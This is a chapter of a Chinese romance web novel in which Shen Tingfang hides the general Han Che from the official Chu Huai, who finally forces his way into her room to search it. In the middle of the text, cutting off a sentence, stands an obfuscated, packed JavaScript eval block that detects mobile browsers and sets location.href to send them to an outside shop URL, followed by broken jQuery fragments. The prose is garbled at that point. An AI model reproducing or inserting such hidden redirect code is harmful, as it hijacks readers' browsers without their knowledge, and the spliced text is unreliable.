韩彻微微变了脸色:“顾侯会有什么把柄?顾侯行事光明磊落,从不藏奸,他又是为国为民的大英雄,楚怀便是掘地三尺,也休想揪到顾侯的错处。”
沈庭芳急了。
这个人**脑筋呢?
“找不到错处,不会捏一个错处出来吗?”
“你说什么?捏一个错处?”
眼见着韩彻的脸色变了,沈庭芳的一颗心都跟着揪了起来。
她下意识地往后退了两步,轻轻点了点头。
“对,楚怀这个人心狠手辣,手段多得很,他找不到错处,说不定就会捏一个错处,往顾侯身上安一个罪名。”
“既然是存心污蔑的罪名,那顾侯即便再如何自证清白,皇上和太子也不会相信的。”
“韩将军,宁海城中除了顾侯,可就再也没有旁人值得楚怀亲自跑这一趟了。”
韩彻的神色越来越严肃。
沈庭芳紧张得大气都不敢出。
生怕自己的呼吸太粗重,打扰韩彻想事情。
等了半晌,韩彻才冷着脸道:“沈姑娘,我需要你帮我传个信儿。”
沈庭芳忙点头:“我才托赵承钧请了程道长来,将军有什么话要传出去,告诉我,我传给程道长。”
韩彻沉吟道:“你对程道长说,听说南边有一种恶龟,可北上撕咬蛟鱼,问问程道长有没有这一回事。”
沈庭芳听不懂韩彻在说什么。
用脚趾头想想也知道,韩彻这是在说暗语呢。
她在心里默念了一遍,又复述给韩彻听。
韩彻点头之后,她才松了一口气。
“程道长明日就会来,我会把你的话带到,你也别急,中元节马上就到了。”
等把韩彻送出去,她就不用这么紧张,可以更自在地面对楚怀。
人定胜天。
这一世她一定不会像上一世一样凄凄惨惨。
傍晚时分,外头凉快了许多,沈庭芳便摇着扇子出去乘凉。
她破天荒地开了一小条门缝,就坐在门口看书。
她试过了,只开这一条小缝,站在门口,无论从哪个角度,都看不到床榻上的韩彻。
有了这一条细缝,屋内多少凉快一些。
见她一出来,楚怀便勾起了唇角。
“你终于舍得开个门缝了,本都督就没瞧见过你这样怕风吹的女子。”
沈庭芳嫣然一笑:“都督眼下不就瞧见了吗?”
楚怀闭上双眸冷哼:“牙尖嘴利,坐过来,你爹方才叫人送了几个瓜,说是在井水里湃了一日,本都督命人切了,尝了一口,甜得很。”
沈庭芳的双眼就亮了。
“连翘,地锦,你们去要两只瓜,做个冰盏子吃,夏日吃冰盏子,最是解暑。”
两个丫头见沈庭芳这么高兴,忙答应着去了。
沈庭芳来了兴致,仍旧坐在门口,轻轻摇着扇子,对坐在树下的楚怀笑道:“都督在宫中也吃过冰盏子吧?宫中的东西比我们老百姓家的东西要好得多,冰盏子自然也好吃。”
“可都督眼下是在宁海城,少不得要委屈都督,尝一尝我们宁海城的风味,一会儿冰盏子做好了,都督身上有伤,只吃小半盏就好。”
她说话时,楚怀一直盯着她看。
傍晚的凉风拂过她的青丝,微微扬起,给她增添了几分俏皮。
楚怀轻轻捏了捏手心。
她跟阿姐不一样。
她比阿姐要俏皮许多,胆子也更大。
阿姐已经**,这世间再没有第二个阿姐。
楚怀合上双眸,微微叹息一声。
“等你到了京城,本都督会叫宫里的御厨做给你吃。”
沈庭芳打了个寒战。
她才不要去京城。
京城的饭菜有什么好吃的?
上一世那十五年,她在京城熬惨了。
如今一想到京城二字,她就浑身打哆嗦。
“都督,我们先不提这个。”
“你在害怕?京城是个繁华之地,比宁海城要热闹许多,你去了便知道京城的好处,恐怕你在京城住上两日,都不想再回到宁海城了呢。”
沈庭芳在心里暗自吐槽。
京城再繁华,也与她无关。
她眼里的京城,凄清,孤寂。
花不开,鸟不飞,虫不叫。
简直就是一座死城。
倘若跟着楚怀进京
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160768|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,身边有这样一个恶鬼,那就不仅仅是死城了。
“都督见多识广,难道没听过一句话么?金窝银窝不如自己的狗窝,京城再如何繁华,那也终究不是我的家,与我无关,我是小地方的姑娘,这辈子只适合生活在小地方,挪了窝,去了京城,我怕自己会水土不服,活不下去。”
楚怀深有所感。
沈庭芳就好像枝头的娇花,经不起风吹雨打。
狂风骤雨会叫她凋谢枯萎的。
若无他庇佑,在宁海城这种地方,这朵娇花不是凋零便是被人糟践。
还不如跟他去京城。
有他在,必不会叫沈庭芳零落成泥碾作尘。
更何况,沈庭芳还知道他的秘密。
不把沈庭芳带在身边,他始终不放心。
饭菜和冰盏子同时做得了。
厨房的人将饭菜与冰盏子都端到树下的石桌子上。
“既然出来了,就过来与本都督一同吃饭吧。”
沈庭芳站起身便要回屋。
“我还是回屋里吃。”
“站住。”
沈庭芳心一紧,脸上的笑容就凝在了嘴角。
她听着身后的脚步声越来越近,连忙关上门,转过身冲着楚怀淡淡地笑。
“都督将我留下来,已经是强人所难,难道如今我连独自在屋里用饭都不行了么?”
楚怀拽住沈庭芳的胳膊,狠狠将她推到一边。
“沈庭芳,本都督给你几分好脸面,那是本都督心善,你不要得寸进尺!”
他猛然推开了屋门。
沈庭芳的心就提到了嗓子眼,惊叫一声不要,扑过去抱住楚怀的腰。
“不要!你不要进我的屋子!不要!”
已经迟了。
屋门大开。
楚怀掰开沈庭芳的手,粗暴地推倒她,匆匆迈进屋内,环视一圈。
这屋子一览无余,根本没有可以藏人的地方。
楚怀的视线便落在了床榻上。
他一步一步地走向床榻,忽然俯身……
“姑娘!姑娘你怎么了!你快醒醒!”
楚怀的心一紧,却还是狠狠心,猛然探向床榻底下。